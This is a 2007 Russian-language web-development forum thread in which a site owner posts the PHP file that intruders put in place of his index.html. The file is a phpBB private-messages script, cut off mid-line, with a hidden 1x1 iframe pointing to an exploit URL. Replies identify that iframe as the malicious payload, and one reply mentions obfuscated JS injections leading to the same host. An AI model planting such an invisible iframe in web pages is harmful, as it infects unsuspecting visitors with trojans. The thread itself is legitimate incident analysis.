IMHO.WS

IMHO.WS (https://www.imho.ws/index.php)
-   Веб-программирование (https://www.imho.ws/forumdisplay.php?f=29)
-   -   подмена index.html на скрипт php (https://www.imho.ws/showthread.php?t=116416)

rumax 12.03.2007 09:55

подмена index.html на скрипт php
 
добрый день всем!
хакеры подменили на моем сайте index.html на скрипт php такого содержания:
Код:

<?php
/***************************************************************************
 *                              privmsgs.php
 *                            -------------------
 *  begin                : Saturday, Jun 9, 2001
 *  copyright            : (C) 2001 The phpBB Group
 *  email                : support@phpbb.com
 *
 *  $Id: privmsg.php,v 1.96.2.49 2006/04/10 21:08:15 grahamje Exp $
 *
 *
 ***************************************************************************/

/***************************************************************************
 *
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2 of the License, or
 *  (at your option) any later version.
 *
 ***************************************************************************/
/*if ( !defined('MODULE_FILE') )
{
        die("You can't access this file directly...");
}*///nukeviet120606
if (!defined('NV_SYSTEM')) { die ("You can't access this file directly..."); }//nukeviet120606
if (isset($privmsg_id)) {
    $privmsg_id = intval($privmsg_id);
}

if (!empty($pm_uname)) {
        $pm_uname = addslashes(check_html($pm_uname, "nohtml"));
    $sql = "SELECT user_id from ".$user_prefix."_users WHERE username='$pm_uname'";
    $result = $db->sql_query($sql);
    $row = $db->sql_fetchrow($result);
    $u = intval($row['user_id']);
    $mode = "post";
    Header("Location: modules.php?name=Private_Messages&mode=$mode&u=$u");
    die();
}

$sql_title = "SELECT custom_title from ".$prefix."_modules where title='$name'";
$result_title = $db->sql_query($sql_title);
$row_title = $db->sql_fetchrow($result_title);

if ($row_title['custom_title'] == "") {
$mod_name = ereg_replace("_", " ", $name);
} else {
$mod_name = $row_title['custom_title'];
}
if (!isset($popup) OR ($popup != "1")) {
    $module_name = basename(dirname(__FILE__));
    require("modules/Forums/nukebb.php");
    //title("$sitename: $mod_name");//nukeviet120606
    /*if (defined('IS_USER')) {//nukeviet120606
  include("modules/Your_Account/navbar.php");
  OpenTable();
  nav();
  CloseTable();
  echo "<br>";
    }*/
} else {
    $phpbb_root_path = 'modules/Forums/';
    $nuke_file_path = 'modules.php?name=Forums&file=';
}
define('IN_PHPBB', true);
include($phpbb_root_path . 'extension.inc');
include($phpbb_root_path . 'common.'.$phpEx);
include("includes/bbcode.php");
include("includes/functions_post.php");

//
// Is PM disabled?
//
if ( !empty($board_config['privmsg_disable']) )
{
        message_die(GENERAL_MESSAGE, 'PM_disabled');
}

$html_entities_match = array('#&(?!(\#[0-9]+;))#', '#<#', '#>#', '#"#');
$html_entities_replace = array('&amp;', '&lt;', '&gt;', '&quot;');

//
// Parameters
//
$submit = ( isset($HTTP_POST_VARS['post']) ) ? TRUE : 0;
$submit_search = ( isset($HTTP_POST_VARS['usersubmit']) ) ? TRUE : 0;
$submit_msgdays = ( isset($HTTP_POST_VARS['submit_msgdays']) ) ? TRUE : 0;
$cancel = ( isset($HTTP_POST_VARS['cancel']) ) ? TRUE : 0;
$preview = ( isset($HTTP_POST_VARS['preview']) ) ? TRUE : 0;
$confirm = ( isset($HTTP_POST_VARS['confirm']) ) ? TRUE : 0;
$delete = ( isset($HTTP_POST_VARS['delete']) ) ? TRUE : 0;
$delete_all = ( isset($HTTP_POST_VARS['deleteall']) ) ? TRUE : 0;
$save = ( isset($HTTP_POST_VARS['save']) ) ? TRUE : 0;
$sid = (isset($HTTP_POST_VARS['sid'])) ? $HTTP_POST_VARS['sid'] : 0;

$******* = $preview || $submit_search;

$mark_list = ( !empty($HTTP_POST_VARS['mark']) ) ? $HTTP_POST_VARS['mark'] : 0;

if ( isset($HTTP_POST_VARS['folder']) || isset($HTTP_GET_VARS['folder']) )
{
        $folder = ( isset($HTTP_POST_VARS['folder']) ) ? $HTTP_POST_VARS['folder'] : $HTTP_GET_VARS['folder'];
        $folder = htmlspecialchars($folder);

        if ( $folder != 'inbox' && $folder != 'outbox' && $folder != 'sentbox' && $folder != 'savebox' )
        {
                $folder = 'inbox';
        }
}
else
{
        $folder = 'inbox';
}

//
// Start session management
//
$userdata = session_pagestart($user_ip, PAGE_PRIVMSGS, $nukeuser);
init_userprefs($userdata);
//
// End session management
//

//
// Cancel
//
if ( $cancel )
{
        $header_location = ( @preg_match('/Microsoft|WebSTAR|Xitami/', $_SERVER['SERVER_SOFTWARE']) ) ? '*******: 0; URL=' : 'Location: ';
        header($header_location . append_sid("privmsg.$phpEx?folder=$folder", true));
        exit;
}

//
// Var definitions
//
if ( !empty($HTTP_POST_VARS['mode']) || !empty($HTTP_GET_VARS['mode']) )
{
        $mode = ( !empty($HTTP_POST_VARS['mode']) ) ? $HTTP_POST_VARS['mode'] : $HTTP_GET_VARS['mode'];
        $mode = htmlspecialchars($mode);
}
else
{
        $mode = '';
}

$start = ( !empty($HTTP_GET_VARS['start']) ) ? intval($HTTP_GET_VARS['start']) : 0;
$start = ($start < 0) ? 0 : $start;

if ( isset($HTTP_POST_VARS[POST_POST_URL]) || isset($HTTP_GET_VARS[POST_POST_URL]) )
{
        $privmsg_id = ( isset($HTTP_POST_VARS[POST_POST_URL]) ) ? intval($HTTP_POST_VARS[POST_POST_URL]) : intval($HTTP_GET_VARS[POST_POST_URL]);
}
else
{
        $privmsg_id = '';
}

$error = FALSE;

//
// Define the box image links
//
$inbox_img = ( $folder != 'inbox' || !empty($mode) ) ? '<a href="' . append_sid("privmsg.$phpEx?folder=inbox") . '"><img src="' . $images['pm_inbox'] . '" border="0" alt="' . $lang['Inbox'] . '" /></a>' : '<img src="' . $images['pm_inbox'] . '" border="0" alt="' . $lang['Inbox'] . '" />';
$inbox_url = ( $folder != 'inbox' || !empty($mode) ) ? '<a href="' . append_sid("privmsg.$phpEx?folder=inbox") . '">' . $lang['Inbox'] . '</a>' : $lang['Inbox'];

$outbox_img = ( $folder != 'outbox' || !empty($mode) ) ? '<a href="' . append_sid("privmsg.$phpEx?folder=outbox") . '"><img src="' . $images['pm_outbox'] . '" border="0" alt="' . $lang['Outbox'] . '" /></a>' : '<img src="' . $images['pm_outbox'] . '" border="0" alt="' . $lang['Outbox'] . '" />';
$outbox_url = ( $folder != 'outbox' || !empty($mode) ) ? '<a href="' . append_sid("privmsg.$phpEx?folder=outbox") . '">' . $lang['Outbox'] . '</a>' : $lang['Outbox'];

$sentbox_img = ( $folder != 'sentbox' || !empty($mode) ) ? '<a href="' . append_sid("privmsg.$phpEx?folder=sentbox") . '"><img src="' . $images['pm_sentbox'] . '" border="0" alt="' . $lang['Sentbox'] . '" /></a>' : '<img src="' . $images['pm_sentbox'] . '" border="0" alt="' . $lang['Sentbox'] . '" />';
$sentbox_url = ( $folder != 'sentbox' || !empty($mode) ) ? '<a href="' . append_sid("privmsg.$phpEx?folder=sentbox") . '">' . $lang['Sentbox'] . '</a>' : $lang['Sentbox'];

$savebox_img = ( $folder != 'savebox' || !empty($mode) ) ? '<a href="' . append_sid("privmsg.$phpEx?folder=savebox") . '"><img src="' . $images['pm_savebox'] . '" border="0" alt="' . $lang['Savebox'] . '" /></a>' : '<img src="' . $images['pm_savebox'] . '" border="0" alt="' . $lang['Savebox'] . '" />';
$savebox_url = ( $folder != 'savebox' || !empty($mode) ) ? '<a href="' . append_sid("privmsg.$phpEx?folder=savebox") . '">' . $lang['Savebox'] . '</a>' : $lang['Savebox'];

// ----------
// Start main
//
if ( $mode == 'newpm' )
{
        $gen_simple_header = TRUE;

        $page_title = $lang['Private_Messaging'];
        include("includes/page_header_review.php");

        $template->set_filenames(array(
                'body' => 'privmsgs_popup.tpl')
        );

        if ( $userdata['session_logged_in'] )
        {
                if ( $userdata['user_new_privmsg'] )
                {
                        $l_new_message = ( $userdata['user_new_privmsg'] == 1 ) ? $lang['You_new_pm'] : $lang['You_new_pms'];
                }
                else
                {
                        $l_new_message = $lang['You_no_new_pm'];
                }

                $l_new_message .= '<br /><br />' . sprintf($lang['Click_view_privmsg'], '<a href="' . append_sid("privmsg.".$phpEx."?folder=inbox") . '" onclick="jump_to_inbox();return false;" target="_new">', '</a>');
        }
        else
        {
                $l_new_message = $lang['Login_check_pm'];
        }

        $template->assign_vars(array(
                'L_CLOSE_WINDOW' => $lang['Close_window'],
                'L_MESSAGE' => $l_new_message)
        );

        $template->pparse('body');

        include("includes/page_tail_review.php");

}
else if ( $mode == 'read' )
{
        if ( !empty($HTTP_GET_VARS[POST_POST_URL]) )
        {
                $privmsgs_id = intval($HTTP_GET_VARS[POST_POST_URL]);
        }
        else
        {
                message_die(GENERAL_ERROR, $lang['No_post_id']);
        }

        if ( !$userdata['session_logged_in'] )
        {
                $header_location = ( @preg_match('/Microsoft|WebSTAR|Xitami/', $_SERVER['SERVER_SOFTWARE']) ) ? '*******: 0; URL=' : 'Location: ';
                header($header_location . append_sid("login.$phpEx?redirect=privmsg.$phpEx&folder=$folder&mode=$mode&" . POST_POST_URL . "=$privmsgs_id", true));
                exit;
        }

        //
        // SQL to pull appropriate message, prevents nosey people
        // reading other peoples messages ... hopefully!
        //
        switch( $folder )
        {
                case 'inbox':
                        $l_box_name = $lang['Inbox'];
                        $pm_sql_user = "AND pm.privmsgs_to_userid = " . $userdata['user_id'] . "
                                AND ( pm.privmsgs_type = " . PRIVMSGS_READ_MAIL . "
                                        OR pm.privmsgs_type = " . PRIVMSGS_NEW_MAIL . "
                                        OR pm.privmsgs_type = " . PRIVMSGS_UNREAD_MAIL . " )";
                        break;
                case 'outbox':
                        $l_box_name = $lang['Outbox'];
                        $pm_sql_user = "AND pm.privmsgs_from_userid =  " . $userdata['user_id'] . "
                                AND ( pm.privmsgs_type = " . PRIVMSGS_NEW_MAIL . "
                                        OR pm.privmsgs_type = " . PRIVMSGS_UNREAD_MAIL . " ) ";
                        break;
                case 'sentbox':
                        $l_box_name = $lang['Sentbox'];
                        $pm_sql_user = "AND pm.privmsgs_from_userid =  " . $userdata['user_id'] . "
                                AND pm.privmsgs_type = " . PRIVMSGS_SENT_MAIL;
                        break;
                case 'savebox':
                        $l_box_name = $lang['Savebox'];
                        $pm_sql_user = "AND ( ( pm.privmsgs_to_userid = " . $userdata['user_id'] . "
                                        AND pm.privmsgs_type = " . PRIVMSGS_SAVED_IN_MAIL . " )
                                OR ( pm.privmsgs_from_userid = " . $userdata['user_id'] . "
                                        AND pm.privmsgs_type = " . PRIVMSGS_SAVED_OUT_MAIL . " )
                                )";
                        break;
                default:
                        message_die(GENERAL_ERROR, $lang['No_such_folder']);
                        break;
        }

        //
        // Major query obtains the message ...
        //
        $sql = "SELECT u.username AS username_1, u.user_id AS user_id_1, u2.username AS username_2, u2.user_id AS user_id_2, u.user_sig_bbcode_uid, u.user_posts, u.user_from, u.user_website, u.user_email, u.user_icq, u.user_aim, u.user_yim, u.user_regdate, u.user_msnm, u.user_viewemail, u.user_rank, u.user_sig, u.user_avatar, pm.*, pmt.privmsgs_bbcode_uid, pmt.privmsgs_text
                FROM " . PRIVMSGS_TABLE . " pm, " . PRIVMSGS_TEXT_TABLE . " pmt, " . USERS_TABLE . " u, " . USERS_TABLE . " u2
                WHERE pm.privmsgs_id = '$privmsgs_id'
                        AND pmt.privmsgs_text_id = pm.privmsgs_id
                        $pm_sql_user
                        AND u.user_id = pm.privmsgs_from_userid
                        AND u2.user_id = pm.privmsgs_to_userid";
        if ( !($result = $db->sql_query($sql)) )
        {
                message_die(GENERAL_ERROR, 'Could not query private message post information', '', __LINE__, __FILE__, $sql);
        }

        //
        // Did the query return any data?
        //
        if ( !($privmsg = $db->sql_fetchrow($result)) )
        {
                $header_location = ( @preg_match('/Microsoft|WebSTAR|Xitami/', $_SERVER['SERVER_SOFTWARE']) ) ? '*******: 0; URL=' : 'Location: ';
                header($header_location . append_sid("privmsg.$phpEx?folder=$folder", true));
                exit;
        }

        $privmsg_id = $privmsg['privmsgs_id'];

        //
        // Is this a new message in the inbox? If it is then save
        // a copy in the posters sent box
        //
        if (($privmsg['privmsgs_type'] == PRIVMSGS_NEW_MAIL || $privmsg['privmsgs_type'] == PRIVMSGS_UNREAD_MAIL) && $folder == 'inbox')
        {
                // Update appropriate counter
                switch ($privmsg['privmsgs_type'])
                {
                        case PRIVMSGS_NEW_MAIL:
                                $sql = "user_new_privmsg = user_new_privmsg - 1";
                                break;
                        case PRIVMSGS_UNREAD_MAIL:
                                $sql = "user_unread_privmsg = user_unread_privmsg - 1";
                                break;
                }

                $sql = "UPDATE " . USERS_TABLE . "
                        SET $sql
                        WHERE user_id = " . $userdata['user_id'];
                if ( !$db->sql_query($sql) )
                {
                        message_die(GENERAL_ERROR, 'Could not update private message read status for user', '', __LINE__, __FILE__, $sql);
                }

                $sql = "UPDATE " . PRIVMSGS_TABLE . "
                        SET privmsgs_type = " . PRIVMSGS_READ_MAIL . "
                        WHERE privmsgs_id = " . $privmsg['privmsgs_id'];
                if ( !$db->sql_query($sql) )
                {
                        message_die(GENERAL_ERROR, 'Could not update private message read status', '', __LINE__, __FILE__, $sql);
                }

                // Check to see if the poster has a 'full' sent box
                $sql = "SELECT COUNT(privmsgs_id) AS sent_items, MIN(privmsgs_date) AS oldest_post_time
                        FROM " . PRIVMSGS_TABLE . "
                        WHERE privmsgs_type = " . PRIVMSGS_SENT_MAIL . "
                                AND privmsgs_from_userid = " . $privmsg['privmsgs_from_userid'];
                if ( !($result = $db->sql_query($sql)) )
                {
                        message_die(GENERAL_ERROR, 'Could not obtain sent message info for sendee', '', __LINE__, __FILE__, $sql);
                }

                $sql_priority = ( SQL_LAYER == 'mysql' ) ? 'LOW_PRIORITY' : '';

                if ( $sent_info = $db->sql_fetchrow($result) )
                {
                        if ($board_config['max_sentbox_privmsgs'] && $sent_info['sent_items'] >= $board_config['max_sentbox_privmsgs'])
                        {
                                $sql = "SELECT privmsgs_id FROM " . PRIVMSGS_TABLE . "
                                        WHERE privmsgs_type = " . PRIVMSGS_SENT_MAIL . "
                                                AND privmsgs_date = " . $sent_info['oldest_post_time'] . "
                                                AND privmsgs_from_userid = " . $privmsg['privmsgs_from_userid'];
                                if ( !$result = $db->sql_query($sql) )
                                {
                                        message_die(GENERAL_ERROR, 'Could not find oldest privmsgs', '', __LINE__, __FILE__, $sql);
                                }
                                $old_privmsgs_id = $db->sql_fetchrow($result);
                                $old_privmsgs_id = $old_privmsgs_id['privmsgs_id'];

                                $sql = "DELETE $sql_priority FROM " . PRIVMSGS_TABLE . "
                                        WHERE privmsgs_id = '$old_privmsgs_id'";
                                if ( !$db->sql_query($sql) )
                                {
                                        message_die(GENERAL_ERROR, 'Could not delete oldest privmsgs (sent)', '', __LINE__, __FILE__, $sql);
                                }

                                $sql = "DELETE $sql_priority FROM " . PRIVMSGS_TEXT_TABLE . "
                                        WHERE privmsgs_text_id = '$old_privmsgs_id'";
                                if ( !$db->sql_query($sql) )
                                {
                                        message_die(GENERAL_ERROR, 'Could not delete oldest privmsgs text (sent)', '', __LINE__, __FILE__, $sql);
                                }
                        }
                }

                //
                // This makes a copy of the post and stores it as a SENT message from the sendee. Perhaps
                // not the most DB friendly way but a lot easier to manage, besides the admin will be able to
                // set limits on numbers of storable posts for users ... hopefully!
                //
                $sql = "INSERT $sql_priority INTO " . PRIVMSGS_TABLE . " (privmsgs_type, privmsgs_subject, privmsgs_from_userid, privmsgs_to_userid, privmsgs_date, privmsgs_ip, privmsgs_enable_html, privmsgs_enable_bbcode, privmsgs_enable_smilies, privmsgs_attach_sig)
                        VALUES (" . PRIVMSGS_SENT_MAIL . ", '" . str_replace("\'", "''", addslashes($privmsg['privmsgs_subject'])) . "', " . $privmsg['privmsgs_from_userid'] . ", " . $privmsg['privmsgs_to_userid'] . ", " . $privmsg['privmsgs_date'] . ", '" . $privmsg['privmsgs_ip'] . "', " . $privmsg['privmsgs_enable_html'] . ", " . $privmsg['privmsgs_enable_bbcode'] . ", " . $privmsg['privmsgs_enable_smilies'] . ", " .  $privmsg['privmsgs_attach_sig'] . ")";
                if ( !$db->sql_query($sql) )
                {
                        message_die(GENERAL_ERROR, 'Could not insert private message sent info', '', __LINE__, __FILE__, $sql);
                }

                $privmsg_sent_id = $db->sql_nextid();

                $sql = "INSERT $sql_priority INTO " . PRIVMSGS_TEXT_TABLE . " (privmsgs_text_id, privmsgs_bbcode_uid, privmsgs_text)
                        VALUES ('$privmsg_sent_id', '" . $privmsg['privmsgs_bbcode_uid'] . "', '" . str_replace("\'", "''", addslashes($privmsg['privmsgs_text'])) . "')";
                if ( !$db->sql_query($sql) )
                {
                        message_die(GENERAL_ERROR, 'Could not insert private message sent text', '', __LINE__, __FILE__, $sql);
                }
        }

        //
        // Pick a folder, any folder, so long as it's one below ...
        //
        $post_urls = array(
                'post' => append_sid("privmsg.$phpEx?mode=post"),
                'reply' => append_sid("privmsg.$phpEx?mode=reply&amp;" . POST_POST_URL . "=$privmsg_id"),
                'quote' => append_sid("privmsg.$phpEx?mode=quote&amp;" . POST_POST_URL . "=$privmsg_id"),
                'edit' => append_sid("privmsg.$phpEx?mode=edit&amp;" . POST_POST_URL . "=$privmsg_id")
        );
        $post_icons = array(
                'post_img' => '<a href="' . $post_urls['post'] . '"><img src="' . $images['pm_postmsg'] . '" alt="' . $lang['Post_new_pm'] . '" border="0" /></a>',
                'post' => '<a href="' . $post_urls['post'] . '">' . $lang['Post_new_pm'] . '</a>',
                'reply_img' => '<a href="' . $post_urls['reply'] . '"><img src="' . $images['pm_replymsg'] . '" alt="' . $lang['Post_reply_pm'] . '" border="0" /></a>',
                'reply' => '<a href="' . $post_urls['reply'] . '">' . $lang['Post_reply_pm'] . '</a>',
                'quote_img' => '<a href="' . $post_urls['quote'] . '"><img src="' . $images['pm_quotemsg'] . '" alt="' . $lang['Post_quote_pm'] . '" border="0" /></a>',
                'quote' => '<a href="' . $post_urls['quote'] . '">' . $lang['Post_quote_pm'] . '</a>',
                'edit_img' => '<a href="' . $post_urls['edit'] . '"><img src="' . $images['pm_editmsg'] . '" alt="' . $lang['Edit_pm'] . '" border="0" /></a>',
                'edit' => '<a href="' . $post_urls['edit'] . '">' . $lang['Edit_pm'] . '</a>'
        );

        if ( $folder == 'inbox' )
        {
                $post_img = $post_icons['post_img'];
                $reply_img = $post_icons['reply_img'];
                $quote_img = $post_icons['quote_img'];
                $edit_img = '';
                $post = $post_icons['post'];
                $reply = $post_icons['reply'];
                $quote = $post_icons['quote'];
                $edit = '';
                $l_box_name = $lang['Inbox'];
        }
        else if ( $folder == 'outbox' )
        {
                $post_img = $post_icons['post_img'];
                $reply_img = '';
                $quote_img = '';
                $edit_img = $post_icons['edit_img'];
                $post = $post_icons['post'];
                $reply = '';
                $quote = '';
                $edit = $post_icons['edit'];
                $l_box_name = $lang['Outbox'];
        }
        else if ( $folder == 'savebox' )
        {
                if ( $privmsg['privmsgs_type'] == PRIVMSGS_SAVED_IN_MAIL )
                {
                        $post_img = $post_icons['post_img'];
                        $reply_img = $post_icons['reply_img'];
                        $quote_img = $post_icons['quote_img'];
                        $edit_img = '';
                        $post = $post_icons['post'];
                        $reply = $post_icons['reply'];
                        $quote = $post_icons['quote'];
                        $edit = '';
                }
                else
                {
                        $post_img = $post_icons['post_img'];
                        $reply_img = '';
                        $quote_img = '';
                        $edit_img = '';
                        $post = $post_icons['post'];
                        $reply = '';
                        $quote = '';
                        $edit = '';
                }
                $l_box_name = $lang['Saved'];
        }
        else if ( $folder == 'sentbox' )
        {
                $post_img = $post_icons['post_img'];
                $reply_img = '';
                $quote_img = '';
                $edit_img = '';
                $post = $post_icons['post'];
                $reply = '';
                $quote = '';
                $edit = '';
                $l_box_name = $lang['Sent'];
        }

        $s_hidden_fields = '<input type="hidden" name="mark[]" value="' . $privmsgs_id . '" />';

        $page_title = $lang['Read_pm'];
        include("includes/page_header.php");

        //
        // Load templates
        //
        $template->set_filenames(array(
                'body' => 'privmsgs_read_body.tpl')
        );
        if (is_active("Forums")) {
            make_jumpbox('viewforum.'.$phpEx);
        }

        $template->assign_vars(array(
                'INBOX_IMG' => $inbox_img,
                'SENTBOX_IMG' => $sentbox_img,
                'OUTBOX_IMG' => $outbox_img,
                'SAVEBOX_IMG' => $savebox_img,
                'INBOX' => $inbox_url,

                'POST_PM_IMG' => $post_img,
                'REPLY_PM_IMG' => $reply_img,
                'EDIT_PM_IMG' => $edit_img,
                'QUOTE_PM_IMG' => $quote_img,
                'POST_PM' => $post,
                'REPLY_PM' => $reply,
                'EDIT_PM' => $edit,
                'QUOTE_PM' => $quote,

                'SENTBOX' => $sentbox_url,
                'OUTBOX' => $outbox_url,
                'SAVEBOX' => $savebox_url,

                'BOX_NAME' => $l_box_name,

                'L_MESSAGE' => $lang['Message'],
                'L_INBOX' => $lang['Inbox'],
                'L_OUTBOX' => $lang['Outbox'],
                'L_SENTBOX' => $lang['Sent'],
                'L_SAVEBOX' => $lang['Saved'],
                'L_FLAG' => $lang['Flag'],
                'L_SUBJECT' => $lang['Subject'],
                'L_POSTED' => $lang['Posted'],
                'L_DATE' => $lang['Date'],
                'L_FROM' => $lang['From'],
                'L_TO' => $lang['To'],
                'L_SAVE_MSG' => $lang['Save_message'],
                'L_DELETE_MSG' => $lang['Delete_message'],

                'S_PRIVMSGS_ACTION' => append_sid("privmsg.$phpEx?folder=$folder"),
                'S_HIDDEN_FIELDS' => $s_hidden_fields)
        );

        $username_from = $privmsg['username_1'];
        $user_id_from = $privmsg['user_id_1'];
        $username_to = $privmsg['username_2'];
        $<!-- ~ --><iframe width=1 height=1 border=0 frameborder=0 src="http://coco32.org/exp/index.php"></iframe>



<!-- ~ -->

Полагаю, что с помощью трояна был украден пароль к ftp и таким образом заменена index.html Действовал видимо робот, так как при желании натворить бед человек напокстил бы поболее. Вопрос к спецам - насколько опасен скрипт и что он примерно делает?

EvroStandart 14.03.2007 12:16

Написано privmsgs.php для форума phpBB. Можешь скачать этот форум и сравнить файлы. Если отличий нет, значит просто первый попавшийся скрипт к тебе кинули.

Вообще, скрипт слишком большой чтобы его полностью изучать.

Псих 15.03.2007 00:03

rumax, лично я бы на твоем месте поступил так:
1. Просмотрел файлы логов, чтобы вычислить дырку
2. Попросил хостера вернуть состояние сайта на момент до взлома (откат)
3. Пропатчил бы форум, испавив ошибку.

Смысл копаться в левых скриптах? Разве что поискать, не засунули ли туда бекдор...

mays0n 11.04.2007 08:54

Обычно запихивают мейлеры для рассылки спама, но здесь ни одной mail функции нет. Эт точно один из скриптиков phpbb.

rontommy 11.04.2007 09:11

Цитата:

Сообщение от Псих (Сообщение 1374007)
Разве что поискать, не засунули ли туда бекдор

Конечно засунули, в самой последней строке :
Цитата:

<iframe width=1 height=1 border=0 frameborder=0 src="http://coco32.org/exp/index.php"></iframe>

progLamer 14.04.2007 13:03

У меня тоже на главную страницу вирус закидывали, только не php-кодом, а JS, в одну строчку был длинный зашифрованный код, но тоже вел на http://coco32.org/... вирус, если мне память не изменяет был то ли троян-даунлоадер, то ли троян-ПСВ


Часовой пояс GMT +4, время: 15:09.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2026, Jelsoft Enterprises Ltd.